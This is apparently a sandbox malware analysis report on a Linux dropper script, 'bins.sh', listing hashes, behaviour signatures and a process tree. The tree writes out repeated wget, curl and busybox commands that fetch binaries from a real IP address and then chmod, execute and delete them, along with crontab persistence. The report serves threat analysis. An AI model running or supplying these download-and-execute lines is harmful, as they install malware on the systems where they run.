2a4992a461a9294243239f72f8e4f14f24cf6cad4805da41b24d2d4f92bff583

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24/10/2024, 12:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241024-pc72navhjg
SHA256 2a4992a461a9294243239f72f8e4f14f24cf6cad4805da41b24d2d4f92bff583
MD5 e85cfec36f14cf1239aeb4b66816d9b6
SHA1 54996a37402bd68d4d9592629ba35466aa659e7b
SHA512 300a5cf3328c8392a91bc401ade0843b0d426078b4a7d026b0cfa6bc9959bb8f607eb8cdd63250e780224fc8cb68aea66d2993f7ad08286732684e392cfcf415
SSDEEP 192:S9G+eTfUXv3+Cs6BK+u+K+j+2+e+Z9p1gG+BFUp1gGC1xQTfUXvt+Cs6E+u+K+j+:S9G+Hcr+BFOC1xq
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1565	chmod
1662	chmod
1675	chmod
1681	chmod
1709	chmod
1635	chmod
1642	chmod
1688	chmod
1716	chmod
1558	chmod
1621	chmod
1600	chmod
1628	chmod
1668	chmod
1702	chmod
1545	chmod
1552	chmod
1614	chmod
1572	chmod
1607	chmod
1593	chmod
1656	chmod
1579	chmod
1695	chmod
1586	chmod
1649	chmod
1523	chmod
1539	chmod

Executes dropped EXE 28 IoCs

Renames itself 1 IoCs

pid	Process
1525	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Aa7XWz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1140/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1225/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/34/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/168/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/478/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/500/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/559/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1034/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1266/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1514/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1660/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1678/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1687/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1618/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/85/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/250/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1147/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1237/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1246/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1284/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1169/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1180/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/20/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/187/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/496/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/717/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1078/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1101/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1694/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/8/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/19/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/169/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/173/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/183/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1127/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1278/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1604/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/179/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/182/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/672/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1123/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1136/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1182/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/137/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1040/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1159/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1519/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1067/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/2/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/16/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/78/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/181/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/495/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/728/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1550/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1555/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/31/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/177/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/417/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/522/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1509/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1533/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/1647/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
File opened for reading	/proc/10/cmdline	wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ

Writes file to tmp directory 64 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC	busybox
File opened for modification	/tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx	curl
File opened for modification	/tmp/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY	curl
File opened for modification	/tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ	curl
File opened for modification	/tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx	wget
File opened for modification	/tmp/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu	busybox
File opened for modification	/tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959	busybox
File opened for modification	/tmp/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR	wget
File opened for modification	/tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z	busybox
File opened for modification	/tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC	wget
File opened for modification	/tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z	wget
File opened for modification	/tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z	curl
File opened for modification	/tmp/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR	wget
File opened for modification	/tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ	busybox
File opened for modification	/tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI	wget
File opened for modification	/tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI	curl
File opened for modification	/tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx	curl
File opened for modification	/tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx	busybox
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	curl
File opened for modification	/tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0	curl
File opened for modification	/tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk	busybox
File opened for modification	/tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0	wget
File opened for modification	/tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf	curl
File opened for modification	/tmp/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR	curl
File opened for modification	/tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf	busybox
File opened for modification	/tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959	wget
File opened for modification	/tmp/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu	busybox
File opened for modification	/tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959	wget
File opened for modification	/tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf	curl
File opened for modification	/tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk	curl
File opened for modification	/tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC	wget
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	wget
File opened for modification	/tmp/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY	curl
File opened for modification	/tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959	busybox
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	busybox
File opened for modification	/tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk	wget
File opened for modification	/tmp/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY	busybox
File opened for modification	/tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0	busybox
File opened for modification	/tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ	busybox
File opened for modification	/tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0	busybox
File opened for modification	/tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf	wget
File opened for modification	/tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk	busybox
File opened for modification	/tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx	busybox
File opened for modification	/tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z	busybox
File opened for modification	/tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI	busybox
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	curl
File opened for modification	/tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR	busybox
File opened for modification	/tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ	wget
File opened for modification	/tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf	busybox
File opened for modification	/tmp/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu	curl
File opened for modification	/tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC	busybox
File opened for modification	/tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR	wget
File opened for modification	/tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI	curl
File opened for modification	/tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR	wget
File opened for modification	/tmp/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR	busybox
File opened for modification	/tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959	curl
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	wget
File opened for modification	/tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI	busybox
File opened for modification	/tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR	busybox
File opened for modification	/tmp/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu	curl
File opened for modification	/tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ	wget
File opened for modification	/tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z	wget
File opened for modification	/tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR	curl
File opened for modification	/tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1514
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  ./wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1524
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1526
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1527
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1528
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1529
- /bin/rm
  rm wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod 777 pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  ./pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  - Executes dropped EXE
  PID:1540
- /bin/rm
  rm pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
  2⤵
  PID:1541
- /usr/bin/wget
  wget http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  PID:1542
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  ./VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  - Executes dropped EXE
  PID:1546
- /bin/rm
  rm VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
  2⤵
  PID:1548
- /usr/bin/wget
  wget http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  PID:1550
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod 777 ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  ./ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  - Executes dropped EXE
  PID:1553
- /bin/rm
  rm ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  ./bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  - Executes dropped EXE
  PID:1559
- /bin/rm
  rm bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  - Writes file to tmp directory
  PID:1562
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  PID:1563
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod 777 TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  ./TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  - Executes dropped EXE
  PID:1566
- /bin/rm
  rm TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  - Writes file to tmp directory
  PID:1569
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod 777 KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  ./KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  - Executes dropped EXE
  PID:1573
- /bin/rm
  rm KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  - Writes file to tmp directory
  PID:1576
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  PID:1577
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod 777 zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  ./zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  - Executes dropped EXE
  PID:1580
- /bin/rm
  rm zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://87.120.126.196/bins/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  PID:1584
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod 777 Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  ./Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  - Executes dropped EXE
  PID:1587
- /bin/rm
  rm Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
  2⤵
  PID:1589
- /usr/bin/wget
  wget http://87.120.126.196/bins/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  - Writes file to tmp directory
  PID:1590
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod 777 9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  ./9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  - Executes dropped EXE
  PID:1594
- /bin/rm
  rm 9R3RRYjg7ps78C5mCB4NyaO1J3QnNU2pPx
  2⤵
  PID:1596
- /usr/bin/wget
  wget http://87.120.126.196/bins/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  PID:1597
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod 777 8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  ./8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  - Executes dropped EXE
  PID:1601
- /bin/rm
  rm 8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://87.120.126.196/bins/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  PID:1604
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/chmod
  chmod 777 cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /tmp/cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  ./cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  - Executes dropped EXE
  PID:1608
- /bin/rm
  rm cvqh3h3es9WKXspB3xkj0AGrvyv6kletcY
  2⤵
  PID:1610
- /usr/bin/wget
  wget http://87.120.126.196/bins/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  - Writes file to tmp directory
  PID:1611
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  PID:1612
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  - Writes file to tmp directory
  PID:1613
- /bin/chmod
  chmod 777 4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  ./4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  - Executes dropped EXE
  PID:1615
- /bin/rm
  rm 4sujuxQlpLWkUQ1t8ysVZkf8UZ2QtYy959
  2⤵
  PID:1617
- /usr/bin/wget
  wget http://87.120.126.196/bins/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod 777 res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  ./res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  - Executes dropped EXE
  PID:1622
- /bin/rm
  rm res5GxtJJl0etuCFb12vUP2Yh2yMSnYIfR
  2⤵
  PID:1624
- /usr/bin/wget
  wget http://87.120.126.196/bins/8heg2XUkWT3JkRta6FMp9GA4CNOYsFdvEu
  2⤵
  PID:1625
- /usr/bin/curl
